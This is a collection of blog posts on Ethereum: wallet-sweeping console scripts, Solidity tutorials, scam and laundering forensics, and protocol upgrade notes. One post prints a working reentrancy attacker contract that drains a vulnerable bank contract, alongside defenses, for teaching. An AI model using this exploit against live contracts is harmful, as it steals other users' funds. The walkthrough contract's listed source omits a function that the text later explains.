DEV Community: Yuanyan Wu

How to Fully Transfer ERC-20 Tokens Without Leaving Dust Using MetaMask and JavaScript

Yuanyan Wu — Sun, 11 May 2025 19:45:36 +0000

Learn how to fully transfer your ERC-20 token balance from one Ethereum wallet to another using MetaMask and raw JavaScript, leaving no residual dust. This tutorial walks you through the process using Chrome DevTools.

⚠️ Prerequisite: Fund the Wallet With ETH

ERC-20 token transfers require ETH to pay gas fees.

💸 How Much ETH Do You Need?

Action	Gas Estimate	ETH at 25 gwei	ETH at 40 gwei
ERC-20 transfer	~50,000–60,000 gas	~0.00125 ETH	~0.002 ETH

To be safe, fund the source wallet with ~0.01 ETH. If gas prices are high, consider waiting for a weekend or late-night window when network demand is lower.

🔧 Step-by-Step: Transfer Full ERC-20 Balance

✅ Step 1: Open Chrome and Unlock MetaMask

✅ Step 2: Open DevTools → Console (F12 or Ctrl+Shift+I)

In the Console tab, type:

window.ethereum

If it's undefined, follow the fixes below.

🧰 Fixing MetaMask Injection Issues

If window.ethereum is not available:

✅ Check MetaMask Extension
Go to chrome://extensions/ and verify:

MetaMask is installed
It’s enabled
Not in an error or paused state

✅ Step 2: Use a Real HTTPS Page
MetaMask doesn't inject into:

file:// pages
Some localhost pages
Blank tabs or popups
Use a trusted site like:
- https://etherscan.io
- https://remix.ethereum.org

✅ Step 3: Ensure MetaMask Permissions

Click the MetaMask icon
If it says "Connect to site", click Connect
Refresh the page

✅ Step 3: Paste This Script in DevTools

Once window.ethereum is available, paste the following script into the console:

(async () => {
  const tokenAddress = "0xERC20ContractAddress"; // Replace with actual ERC-20 contract
  const targetAddress = "0xTargetAddress";       // Destination address

  const [sourceWallet] = await ethereum.request({ method: 'eth_requestAccounts' });

  // 1. Fetch token balance
  const paddedAddr = sourceWallet.slice(2).padStart(64, '0');
  let balance = 0n;
  try {
      const balanceHex = await ethereum.request({
          method: 'eth_call',
          params: [{ to: tokenAddress, data: '0x70a08231' + paddedAddr }, 'latest']
      });
      balance = BigInt(balanceHex);
      console.log("Raw balance:", balance.toString());
  } catch (e) {
      console.error("Failed to read token balance:", e.message);
      return;
  }
  // 2. Build transfer() data
  const toPadded = targetAddress.slice(2).padStart(64, '0');
  const valuePadded = balance.toString(16).padStart(64, '0');
  const txData = '0xa9059cbb' + toPadded + valuePadded;

  // 3. Send transaction
  const txHash = await ethereum.request({
    method: 'eth_sendTransaction',
    params: [{
      from: sourceWallet,
      to: tokenAddress,
      data: txData
    }]
  });

  console.log("✅ ERC-20 full transfer sent. TX Hash:", txHash);
})();

🔍 Deep Dive: Understanding `eth_call`, Function Selectors, and ABI Encoding

After you paste and run the script, it may seem magical — but here's how it works under the hood.

🧠 What is `eth_call`?

eth_call is an Ethereum JSON-RPC method that simulates a contract call locally without broadcasting a real transaction. It lets us read data from smart contracts (like balances or allowances) without paying gas.

🧾 Understanding `data: 0x70a08231`

Every function in a smart contract is identified by a 4-byte function selector, which is the first 4 bytes of the keccak256 hash of the function signature.

Example for balanceOf(address):

Function Signature: "balanceOf(address)"
keccak256: 0x70a082310000000000...
Selector: 0x70a08231
So calling balanceOf(address) with ABI-encoded arguments begins with 0x70a08231.

📚 Common ERC-20 Function Selectors

Function	Signature	Selector
Get token balance	`balanceOf(address)`	`0x70a08231`
Transfer tokens	`transfer(address,uint256)`	`0xa9059cbb`

You can generate these with tools like: https://pi7.org/hash/keccak-256

Just paste in the raw signature string, like "balanceOf(address)"

📦 ABI Argument Encoding

Smart contract arguments must be padded to 32 bytes (64 hex characters). For example:

If calling balanceOf("0x1234...5678"), the full data field is:

0x70a08231
+ 0000000000000000000000001234567890abcdef1234567890abcdef12345678

The first part 0x70a08231 is the function selector
The second part is the address, left-padded with zeros to 32 bytes

To get the ERC-20 token balance:

const paddedAddr = wallet.slice(2).padStart(64, '0');
const data = '0x70a08231' + paddedAddr;

To send the full balance via transfer():

const toPadded = target.slice(2).padStart(64, '0');
const amountPadded = balance.toString(16).padStart(64, '0');
const txData = '0xa9059cbb' + toPadded + amountPadded;

Understanding this encoding lets you interact with any smart contract method manually — without relying on third-party libraries.

✅ Confirm and Sign in MetaMask

MetaMask will prompt you to approve the token transfer.

Once confirmed and mined, your ERC-20 balance will be fully transferred, with no dust left behind.

🧠 Why Not Just Use Wallet UIs?

Most wallets (like MetaMask, Rabby, etc.) limit the number of decimal places shown or used during transfers. As a result, they may leave small residual amounts (“dust”) in the wallet to avoid failed transactions due to precision or gas misestimation.

By using raw eth_call and manual ABI encoding, you can:

Move the exact token amount
Pay only the required gas
Leave nothing behind

🔖 Bookmark This for Future Sweeps

Whether you're rotating wallets, archiving an old address, or just OCD about balance dust — this technique gives you full control.

🧹 Clean wallet, clean mind.

As a prerequisite, you may want to review my earlier guide: How to Fully Empty a Wallet via Chrome Console Without Leaving Dust.

Learn Solidity Through Code: Breaking Down Walkthrough.sol Step by Step

Yuanyan Wu — Sun, 04 May 2025 17:35:55 +0000

If you're starting your journey into Solidity and smart contract development, diving into actual code can be one of the most effective ways to learn. In this guide, we'll dissect Walkthrough.sol, a simple yet insightful smart contract, to understand how Solidity works in practice.

🔍 What Is Walkthrough.sol?
Walkthrough.sol is a Solidity contract designed to guide learners through various functions and concepts. It includes state variables, constructors, pure functions, and string comparisons using hashing. By analyzing this contract, you'll gain a hands-on understanding of how smart contracts operate on the Ethereum blockchain.

📜 The Walkthrough Contract — Full Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Walkthrough {
    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    bool private cleared = false;

    constructor(string memory _password) {
        password = _password;
    }

    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
            return "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

    function getCleared() public view returns (bool) {
        return cleared;
    }
}

🧱 Contract Structure and Components
Let's examine the contract piece by piece.

Pragma Directive and Contract Declaration

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Walkthrough {

pragma solidity ^0.8.0;: Specifies that the contract is written for Solidity version 0.8.0 or higher.
contract Walkthrough {: Begins the definition of the contract named Walkthrough.

State Variables

    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    bool private cleared = false;

string public password;: Declares a public string variable to store the password.
uint8 public infoNum = 42;: Initializes a public unsigned integer with the value 42.
string public theMethodName = "The method name is method7123949.";: Stores a string indicating the name of a method.
bool private cleared = false;: A private boolean flag initialized to false.

Constructor

    constructor(string memory _password) {
        password = _password;
    }

Purpose: Sets the initial password when the contract is deployed.

Informational Functions

    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

info(): Returns a hint directing to info1().
info1(): Suggests calling info2() with the parameter "hello".

Conditional Function with Parameter

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
            return "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

Purpose: Checks if the input parameter matches "hello" by comparing their hashes. If it matches, provides a hint; otherwise, returns an error message.

Further Informational Functions

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

info42(): Hints at the method name to call next.
method7123949(): Instructs to use the password with the authenticate() function.

Authentication Function

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

Purpose: Compares the hash of the input passkey with the stored password. If they match, sets cleared to true.

Final Check Function

    function success() public view returns (string memory) {
        require(cleared, "Not authenticated");
        return "Congratulations!";
    }
}

Purpose: Returns a success message if cleared is true; otherwise, reverts with "Not authenticated".

Key Concepts Illustrated

State Variables: Understanding how to declare and initialize variables that store data on the blockchain.
Constructors: Setting initial values during contract deployment.
Function Visibility: Using public, private, and pure to control access and behavior.
String Comparison: Employing keccak256 and abi.encodePacked for secure string comparisons.
Conditional Logic: Implementing if statements and require for control flow and validation.

🧪 Try It Yourself
To reinforce your understanding, deploy and interact with Walkthrough.sol using the Remix IDE:

Deploy the Contract: Input a password of your choice during deployment.
Explore Functions: Call info(), info1(), and info2("hello") to follow the hints.
Authenticate: Use the correct password with authenticate() to set cleared to true.
Check Success: Call success() to see if you've successfully authenticated.

✅ Conclusion
By stepping through Walkthrough.sol, you've explored fundamental Solidity concepts in a practical context. This hands-on approach demystifies how smart contracts function and lays the groundwork for more advanced learning.

Feel free to experiment further by modifying the contract, adding new functions, or integrating it with other contracts to deepen your understanding.

Happy coding!

12-Word Seed Phrase Posted on YouTube ?? It Was a Trap.

Yuanyan Wu — Thu, 01 May 2025 18:40:54 +0000

On May 1, 2025, I came across a YouTube comment that looked innocent — maybe even a little desperate:

"Thanks for sharing such valuable information! Just a quick off-topic question: My OKX wallet holds some USDT, and I have the seed phrase... What's the best way to send them to Binance?"— @RosiVanadis, YouTube comment

The message even included a full 12-word seed phrase, casually posted in public. To a greedy or curious onlooker, it might seem like someone just gave away free money — a forgotten wallet with tokens still inside.

But if you've been in crypto long enough, your instinct should be to pause. This wasn’t carelessness. It might be bait.

Investigating the Wallet

Based on the seed phrase posted in the YouTube comment, the derived Ethereum address is 0xc6D71Cc477DFc5Fe0b0Dd8e93De620447880D52E.

The last two transactions include one it received 0.0441 ETH from a MoonPay-labeled address. Immediately afterward, the ETH was emptied out to another address https://etherscan.io/address/0x00001f9d06dce5c2d30a03396405e8d071434001. Both transactions happened at the exact second (Apr-29-2025 11:07:47 AM UTC).

It could be bait. And even if it isn’t, you have no way of knowing what traps may be set — financially or technically.

But one thing is unclear: why would someone send ETH to a wallet that appears empty? If this was bait, there was no visible token or value in the address to lure a victim. This raises the possibility that the sender and the trap operator might be the same entity — perhaps testing automated sweeping logic or tracking wallet monitoring infrastructure.

Investigating the Withdrawal Address

The destination of the swept ETH — 0x00001f9d06dce5c2d30a03396405e8d071434001 — appears to be a vanity address, possibly generated to seem benign or system-generated. Initial inspection of the address on Etherscan shows multiple incoming transfers from other compromised-looking wallets, all drained within seconds of receiving ETH. This strongly suggests it's part of a botnet or a coordinated draining infrastructure. Further clustering analysis could reveal other scam wallets it interacts with.

How to Safely Analyze a Public Seed Phrase

If you encounter a public 12-word seed phrase and want to investigate it without risk:

Use a trusted local environment:
Run the following command after installing Node.js and the ethers library (v6 or later):

node -e "import('ethers').then(e => console.log(e.HDNodeWallet.fromPhrase('your twelve words here').address))"

Do not paste the phrase into web wallets or browser extensions. These may accidentally connect to live networks or leak data.

Check the wallet on a public explorer:

Paste the derived address into Etherscan
Look for unusual transaction patterns (instant sweeps, repeated funding, identical gas usage)

Don’t interact with the wallet:

Never send ETH to it
Never call smart contract functions from it

By following these steps, you can safely study traps and better understand how attackers structure their scams.

Stay curious. Stay skeptical. Stay safe.

The Ethereum Pectra Upgrade

Yuanyan Wu — Wed, 30 Apr 2025 10:33:59 +0000

The Ethereum Pectra upgrade combines two major protocol updates: the Prague execution layer and the Electra consensus layer. Scheduled for mainnet activation on May 7, 2025, Pectra introduces a variety of changes aimed at improving validator efficiency, data handling, and developer flexibility.

Key Improvements in the Pectra Upgrade

Enhanced Validator Flexibility

EIP-7251: Increases the maximum effective balance for validators from 32 ETH to 2,048 ETH, and you can stake any amount between 32 and 2,048 ETH per validator. This change allows validators to consolidate their stakes, reducing the number of validators.

EIP-6110: Moves validator deposit processing fully on-chain, simplifying infrastructure and improving transparency.

EIP-7002: Enables validator withdrawals to be initiated by smart contracts, allowing for flexible and automated staking services.

Scalability and Data Availability Enhancements

EIP-7691: Increases the number of data blobs per block, aiming to improve data availability for Layer 2 solutions. While this may help reduce L2 transaction costs, it also raises concerns about whether Ethereum’s base layer is adequately compensated in a rollup-centric model.

EIP-7685: Introduces a general-purpose framework for structured communication between Ethereum’s execution and consensus layers. This aims to simplify protocol upgrades, though its impact is mostly architectural.

Account Abstraction and Smart Contract Usability

EIP-7702: Allows externally owned accounts (EOAs) to temporarily act like smart contracts during a transaction. This enables advanced features such as batching, sponsor-paid gas fees, and session-based signing — without requiring full account abstraction.

EIP-2935: Stores historical block hashes in persistent state, improving support for smart contracts that rely on older block references (e.g., randomness, delayed proofs).

Implications for Developers and Stakers

No immediate action is required from ETH holders. However, developers and validator operators should familiarize themselves with the changes to benefit from improved staking mechanics, increased flexibility in account behavior, and enhanced infrastructure for Layer 2 and protocol upgrades.

Tracing April 2025 Bitcoin Movements and Monero Surge

Yuanyan Wu — Tue, 29 Apr 2025 12:41:19 +0000

Blockchain investigator ZachXBT reported that approximately 3,520 BTC (~$330M) were transferred from a suspicious address, coinciding with sharp Monero (XMR) price surges.

According to his post, the stolen funds began to be laundered through six or more instant swap exchanges.

As of this writing, no public disclosure of a specific hacked entity has been made.

The Timeline of XMR-USD Events

(All times are Eastern Time, New York)

~6:00 PM, April 27 (Sunday) — Initial Monero buying begins; volume starts increasing steadily.
~9:25 PM, April 27 — XMR peaks at $303.23 after a gap jump, with peak dollar volume reaching $19.9M.
~11:15 PM, April 27 — XMR drifts lower to $258.13, with significantly reduced trading volume.
~1:50 AM, April 28 (Monday) — Price surges to a high of $339.19. The move involves eight rounds of violent upward and downward swings, with each push accompanied by $10M–$20M in dollar volume.
~5:10 AM, April 28 — The majority of large whale-driven trading ends; the price drifts down to $261.81.
~5:10 PM, April 28 — The session low is recorded at $250.59.
~7:31 AM, April 29 — XMR drifts higher toward the $270s with significantly lower trading volume.

While total observed trading volume during the XMR spikes exceeded $120M, estimates of net laundering activity suggest approximately $50M worth of Bitcoin was converted during the active window.

🧱 Realistic Analysis of Timing and Liquidity

Weekend liquidity is always lower — but that's a double-edged sword

Market makers and OTC desks are mostly offline Friday night to Sunday night.
Order books are thinner.
Slippage is worse.
The small laundering operations pays heavy price premiums. In this case, the bad actors accepted 30%–40% effective loss to achieve fast laundering.

The massive Monero spikes (~$220 → ~$339) almost certainly triggered automated tracking (whale bots, security firms, alert systems). Their urgency outweighed their stealth — they tried to race against the clock but sacrificed stealth by causing huge market waves.

🎯 Strategic Conclusion

✅ Their operational goal was clear: "Finish laundering by early Monday before compliance desks activate."
✅ But their execution quality was poor, and they overpaid massively (likely 30%–40%) for privacy.

Monero’s Privacy Mechanisms

Monero was engineered from its inception to achieve strong on-chain privacy through multiple integrated technologies:

Ring Signatures: Hide the sender by mixing each transaction input with multiple decoys.
Stealth Addresses: Generate one-time destination addresses for each transaction, protecting the receiver’s identity.
Confidential Transactions (RingCT): Conceal transaction amounts, preventing external observers from inferring transaction details.
Dandelion++: Obfuscate network-level metadata such as IP addresses during transaction propagation.

Unlike other chains where privacy must be consciously enabled or externally added, Monero applies privacy protections by default at the protocol level.

From a purely technical standpoint, Monero consistently fulfills its stated design goal:

Enabling private, untraceable, and unlinkable transactions on a public ledger.
Chain analysis techniques that work against Bitcoin or Ethereum are ineffective against Monero’s design.
Transaction flows, participant addresses, and transferred amounts are fundamentally shielded from public scrutiny.
Privacy is enforced at both the ledger and network communication layers.

Forensic investigation of the address bc1qcrypchnrdx87jnal5e5m849fw460t4gk7vz55g

Address type Bech32 (P2WPKH) — standard Bitcoin SegWit address
Balance now Basically empty — only 0.00000846 BTC (~$0.80) left
Total received 7017.53874053 BTC (~$667M)
Total sent 7017.53873207 BTC (~$667M)
Transactions 8 transactions total

✅ This address handled enormous sums in a very short time, and then was fully drained.

Transaction timeline

4/27/2025 ~17:01–17:15 (New York Time)

Received large deposits:

70 BTC (~$6.7M)
3,450 BTC (~$327M) (→ total ~3,520 BTC — matches ZachXBT post.)

4/27/2025 ~17:11–17:37

Started draining the address:

Sent ~63 BTC
Sent ~310 BTC
Sent ~2789 BTC
Sent ~357 BTC

4/28/2025 ~04:26 AM

Minor dust transaction (insignificant).

✅ Right after receiving 3,520 BTC, the hacker broke it apart and flushed out to multiple addresses.

Timing exactly matches Monero spike beginning (~6PM NYT Sunday → early Monday).

Final Note

Further developments, including forensic reports or exchange investigations, may refine our understanding of this event over time.

How to Fully Empty a Wallet via Chrome Console Without Leaving Dust

Yuanyan Wu — Tue, 29 Apr 2025 02:53:46 +0000

When transferring your full ETH balance from one wallet to another, most wallets leave a tiny amount of "dust" behind. This happens because they slightly overestimate gas fees to prevent transaction failure under volatile conditions.

But sometimes, you want zero balance left — no dust, no leftovers — for example, when migrating to a new wallet, shutting down an address, or sweeping all funds.

Here's how you can do it perfectly, using only MetaMask and Chrome console.

🛠 Step-by-Step Instructions

Open your Chrome browser.
Unlock your MetaMask extension.
Transfer all valuable tokens, NFTs, and other assets
Open DevTools → Console tab (F12 or Ctrl+Shift+I).
Paste and REPLACE the RECEIVER address as you intended
Execute the following script:

(async () => {
  const sender = (await ethereum.request({ method: 'eth_requestAccounts' }))[0];
  const receiver = '0xReceiverAddress'; 
// 🔥 Change this to your destination address

  const balanceHex = await ethereum.request({
    method: 'eth_getBalance',
    params: [sender, 'latest'],
  });

  const gasPriceHex = await ethereum.request({
    method: 'eth_gasPrice',
  });

  const gasLimit = 21000; // Standard gas for basic ETH transfer

  const gasFee = BigInt(gasPriceHex) * BigInt(gasLimit);
  const balance = BigInt(balanceHex);
  const amountToSend = balance - gasFee;

  if (amountToSend <= 0n) {
    throw new Error('Not enough balance to cover gas fee.');
  }

  const txHash = await ethereum.request({
    method: 'eth_sendTransaction',
    params: [{
      from: sender,
      to: receiver,
      value: '0x' + amountToSend.toString(16),
      gas: '0x' + gasLimit.toString(16),
      gasPrice: gasPriceHex,
    }],
  });

  console.log('Transaction sent! TxHash:', txHash);
})();

Confirm the transaction in MetaMask popup.

✅ Done! Your account will now be completely emptied.

🧠 Why Not Just Use Wallet UI?

Wallet UIs like MetaMask intentionally overestimate gas fees to reduce transaction failure risks.

This means:

They cannot send the full balance.
They must leave a small "dust" amount as a safety margin.

By manually calculating gas cost and subtracting it ourselves, we can send the maximum possible safely.

📝 Why I Care About This

When EIP-1559 was introduced, dynamic fees made gas price calculations trickier, and wallets became even more conservative.

I often found myself frustrated by the "dust problem" when I simply wanted to sweep a wallet clean. This method helped me move entire balances safely and efficiently, many times over.

Feel free to bookmark this guide for the next time you need a clean sweep. 🧹✨

Demystifying Reentrancy Attacks in Solidity: Vulnerabilities and Defenses

Yuanyan Wu — Mon, 28 Apr 2025 20:00:47 +0000

The vulnerable service

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ServiceContract {
  mapping(address => uint) public balances;

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw() external {
    uint balance = balances[msg.sender];
    require(balance > 0, "No funds");
    // ❌ Vulnerable: external call before state update
    (bool sent, ) = msg.sender.call{value: balance}("");
    require(sent, "Failed");
    balances[msg.sender] = 0;
  }
}

Business Scenario

The service contract is like a bank, holding the assets for the clients. When a client deposit msg.value the ETH, it records the balance in the ledger balances. When the clients withdraws, it checks the ledger balance, and sends msg.sender all the balance with the assumption the client will do nothing when receiving this fund, and clears the ledger thereafter.

The malicious client

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ClientContract {
  ServiceContract public service;
  constructor(address _service) { 
    service = ServiceContract(_service); 
  }

  // Kick off the attack
  function attack() external payable {
    require(msg.value >= 1 ether);
    service.deposit{value: msg.value}();
    service.withdraw();
  }

  fallback() external payable {
    if (address(service).balance >= 1 ether) {
      service.withdraw();  // reenter!
    }
  }
}

The client is not regular client, but a client who exploits the logic vulnerability of the service, when it receives funds through the fallback() function, it will initiate a new withdraw() request as long as the ledger is stale and validate the withdraw, it got the balance of the service contract, i.e. a lot of third party clients' money until it falls below 1 ETH.

Defenses against the reentrance attack

// ✔️ Checks–Effects–Interactions
function safeWithdraw() external {
    uint balance = balances[msg.sender];
    require(balance > 0, "No funds");
    balances[msg.sender] = 0; // effect first
    (bool sent, ) = msg.sender.call{value: balance}("");
    require(sent, "Failed");
}

// ✔️ Using ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GuardedService is ReentrancyGuard {
    mapping(address=>uint) public balances;

    // deposit() same...
    function withdraw() external nonReentrant {
        uint balance = balances[msg.sender];
        require(balance>0);
        balances[msg.sender]=0;
        (bool sent,)=msg.sender.call{value:balance}("");
        require(sent);
    }
}

Why the client uses the fallback() function instead of the receive() function directly to execute a reentrancy attack.

The receive() function is invoked when a contract receives Ether without any data (i.e., via send() or transfer()). These methods forward only 2300 gas, which is insufficient for complex operations like re-entering another contract. Conversely, call{value: amount}("") forwards all remaining gas, allowing the fallback() function to execute more complex logic, including reentrant calls.

Unsafe transfer method:

payable(msg.sender).call{value: amount}(""); // UNSAFE!

The attacker’s receive() can execute further calls, allowing reentrancy.

Safe transfer methods:

payable(msg.sender).transfer(amount); // safe (2300 gas)
payable(msg.sender).send(amount);     // safe (2300 gas, but check

The attacker’s receive() function will fail if it tries any logic beyond simple logging or receiving funds due to the low gas limit.

A regular client address (EOA—Externally Owned Account) that does not have a contract cannot execute code upon receiving Ether. Only a contract can execute logic automatically upon receiving Ether.

Please try it yourself at https://ethernaut.openzeppelin.com/level/10

Smart Contracts Deep Dive: Storage Packing, Payment Flows, and msg Object Explained

Yuanyan Wu — Sun, 27 Apr 2025 14:58:18 +0000

In my last article, "Inside a Smart Contract: Storage, Execution, and Blockchain Behavior", we explored how smart contracts store data, execute logic, and interact with the blockchain.

Today, we are diving deeper into three fundamental aspects:

How Solidity optimizes storage with Storage Packing
How smart contracts handle Receiving and Sending Payments
Understanding the msg object (msg.sender, msg.value, etc.)

We'll also build a complete smart contract example that ties all these concepts together.

Solidity Storage Packing: Saving Gas by Using Less Space

In the Ethereum Virtual Machine (EVM), storage is divided into slots of 32 bytes (256 bits).

Storage Packing happens when Solidity fits multiple small variables into a single storage slot to save space and gas.

Example:

// Good packing: fits into 1 slot
uint128 a; // 16 bytes
uint128 b; // 16 bytes

// Bad packing: takes 2 slots
uint128 a;
uint256 b;

Key Rules:

Variables are packed in order of declaration.
Types must fit without overflowing the 32-byte limit.

Why it matters:

Storage on Ethereum is very expensive.
Fewer slots = lower gas fees = cheaper transactions.

Real Storage Layout Example

Suppose we store:

a = 0xAAAA (uint128)
b = 0xBBBB (uint128)

Good Packing Storage (Single Slot):

Slot 0: 0x000...BBBB...AAAA
Higher 16 bytes: BBBB
Lower 16 bytes: AAAA

Bad Packing Storage (Two Slots):

Slot 0: 0x000...0000...AAAA
Slot 1: 0x000...0000...BBBB

Notice how the badly packed version wastes a whole extra slot!

Payment Flows: Receiving and Sending ETH/Tokens

Smart contracts can receive and send ETH and tokens. Handling these flows properly is critical.

Receiving ETH

Use the receive() or fallback() function, and they must be marked payable:

receive() external payable {
    // Handle ETH received
}

fallback() external payable {
    // Handle unexpected calls
}

Sending ETH

Using transfer

function basicTransferETH(address payable recipient, uint256 amount) external {
    require(address(this).balance >= amount, "Insufficient balance");
    recipient.transfer(amount);
}

For developers with an OOP background, recipient.transfer(amount) might look like a method call on the recipient object. However, in Solidity, it actually means "send ETH from this contract to the recipient" — it is still this contract that is initiating the transfer using its own balance.

Transfers ETH and reverts on failure. Sends exactly 2300 gas, enough only to emit an event. The transfer automatically reverts if the recipient's fallback function consumes more than 2300 gas.

Therefore, while transfer looks simple, it can be surprisingly fragile in real-world scenarios.

Using send

function basicSendETH(address payable recipient, uint256 amount) external {
    require(address(this).balance >= amount, "Insufficient balance");
    bool success = recipient.send(amount);
    require(success, "Failed to send Ether");
}

send() returns a boolean indicating success or failure; it does not automatically revert like transfer().
It also only forwards 2300 gas.
You must manually handle failure by checking the return value.

Using call safely

function safeTransferETH(address payable recipient, uint256 amount) external payable {
    require(address(this).balance >= amount, "Insufficient balance");
    (bool sent, ) = recipient.call{value: amount}("");
    require(sent, "Failed to send Ether");
}

This way:

You ensure there is enough balance.
You check the result of call to confirm success.
You avoid gas limitation issues that might arise from transfer or send.

Sending ERC20 Tokens

In modern Solidity (0.8.x), transfer returns a boolean. Always capture and check the return value to ensure the transfer succeeded, like:

bool success = IERC20(tokenAddress).transfer(to, amount);
require(success, "Token transfer failed");

This avoids mistakenly believing a transfer occurred when it failed.

The msg Object: Your Contract's Context

The msg object contains important metadata about the current transaction:

msg.sender — who initiated the call (an EOA or another contract)
msg.value — how much ETH (in wei) was sent with the transaction
msg.data — the full calldata
msg.sig — the 4-byte function selector

function pay() public payable {
    require(msg.value > 0, "No ETH sent");
    address payer = msg.sender;
}

Important:

If Contract A calls Contract B, then inside B, msg.sender is A, not the original user.
Be cautious using tx.origin; it can expose your contract to phishing attacks.

Full Smart Contract Example

Here is a full Solidity contract that showcases all these concepts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
}

contract DeepDiveContract {
    // ❌ Bad storage packing
    uint128 bigNumber;
    uint256 veryBigNumber;

    // ✅ Good storage packing
    uint128 smallA;
    uint128 smallB;

    // Events
    event Received(address sender, uint256 amount, bytes data, bytes4 sig);
    event PaymentSent(address recipient, uint256 amount);
    event TokenSent(address recipient, uint256 amount, address tokenAddress);

    // Receiving ETH
    receive() external payable {
        emit Received(msg.sender, msg.value, msg.data, msg.sig);
    }

    fallback() external payable {
        emit Received(msg.sender, msg.value, msg.data, msg.sig);
    }

    // Sending ETH
    function sendEther(address payable _to) external payable {
        require(msg.value > 0, "Send some ETH to forward");
        (bool sent, ) = _to.call{value: msg.value}("");
        require(sent, "Failed to send Ether");
        emit PaymentSent(_to, msg.value);
    }

    // Sending ERC20 Tokens
    function sendToken(address tokenAddress, address to, uint256 amount) external {
        bool success = IERC20(tokenAddress).transfer(to, amount);
        require(success, "Token transfer failed");
        emit TokenSent(to, amount, tokenAddress);
    }

    // Write to bad storage
    function writeBadStorage(uint128 _bigNumber, uint256 _veryBigNumber) external {
        bigNumber = _bigNumber;
        veryBigNumber = _veryBigNumber;
    }

    // Write to good storage
    function writeGoodStorage(uint128 _smallA, uint128 _smallB) external {
        smallA = _smallA;
        smallB = _smallB;
    }

    // View bad storage
    function viewBadStorage() external view returns (uint128, uint256) {
        return (bigNumber, veryBigNumber);
    }

    // View good storage
    function viewGoodStorage() external view returns (uint128, uint128) {
        return (smallA, smallB);
    }
}

Conclusion

Storage optimization saves gas.
Correctly managing ETH and token flows prevents losing funds.
Understanding msg.sender and related metadata is critical for secure smart contract programming.

Mastering these fundamentals prepares you for designing secure, efficient, and upgradeable smart contracts.

Inside a Smart Contract: Storage, Execution, and Blockchain Behavior

Yuanyan Wu — Sun, 27 Apr 2025 01:04:41 +0000

Let us deploy this contract to Sepolia Testnet using Chrome console.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ExecutionExplorer {
    uint256 public storedValue;
    address public lastSender;
    uint256 public callCount;

    event ValueUpdated(uint256 newValue, address indexed updater);

    constructor(uint256 initialValue) {
        storedValue = initialValue;
        lastSender = msg.sender;
        callCount = 0;
    }

    function updateValue(uint256 newValue) external {
        storedValue = newValue;
        lastSender = msg.sender;
        callCount += 1;

        emit ValueUpdated(newValue, msg.sender);
    }

    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }

    receive() external payable {} // Accept ETH
}

Get the Compiled Bytecode from Remix

If you forget how to get it, please read https://dev.to/rwu_security_researcher/from-source-to-blockchain-how-smart-contracts-go-live-with-remix-and-metamask-25h8

In Chrome Console:


// The Compile Bytecode from remix
// const bytecode = "0x608060405234801561000f575f80fd5b506...";

// We need to encode the constructor argument 
// into 32-byte ABI format.
const dummy = 42;
let hexString = dummy.toString(16);
hexString = hexString.padStart(64, '0');
const constructorArg = hexString;

// Combine
const deploymentData = bytecode + constructorArg;

// Connect to MetaMask
await window.ethereum.request({method: 'eth_requestAccounts'});
const accounts = await window.ethereum.request({ 
  method: 'eth_accounts' 
});
const sender = accounts[0];

// Prepare deployment transaction
const txParams = {
  from: sender,
  data: deploymentData,
  gas: '0x2dc6c0' // (optional) 200,000 gas
};

// Send transaction
const txHash = await window.ethereum.request({
  method: 'eth_sendTransaction',
  params: [txParams],
});

console.log("Deployment Transaction Hash:", txHash);

MetaMask pops up, asks you to confirm.

This becomes just a pending transaction — floating in the mempool of your network. Validators pick transactions from the mempool to include in the next block after simulating them.

A validator (Proof of Stake) picks up your transaction and simulate the transaction locally using the EVM:

They run your deploymentData as code in their private EVM simulation.
If execution succeeds without errors (and gas is sufficient):
- The blockchain engine creates a new contract address.
- The runtime bytecode, i.e. the remix bytecode inside the deploymentData without the argumentData is stored at that address.
Your storedValue, lastSender, callCount variables are set into storage in the private EVM simulation.

🎯 If anything fails (out of gas, bad opcode, etc.), the whole transaction reverts — nothing is deployed.

After the validator successfully simulates and commits the block:

The new contract is officially created on-chain.
Your storedValue is truly set to 42 — and the world agrees on that.

🛠 How to confirm Raw Smart Contract Storage in Chrome Console after the deployment

In Solidity, each public or internal variable is stored in a sequential "slot" in storage.

Slot 0 → first variable (storedValue)
Slot 1 → second variable (lastSender)
Slot 2 → third variable (callCount)

You want to check slot 0.

https://sepolia.etherscan.io/tx/0x37423eaf6aca4e8843fe5efbe62e79ac0e58dfcd47d09c50db0fdf28a2d759ac

const contractAddress = "0x9B45d1AAF6e91C818F416e1D948A24962A26EF7a";
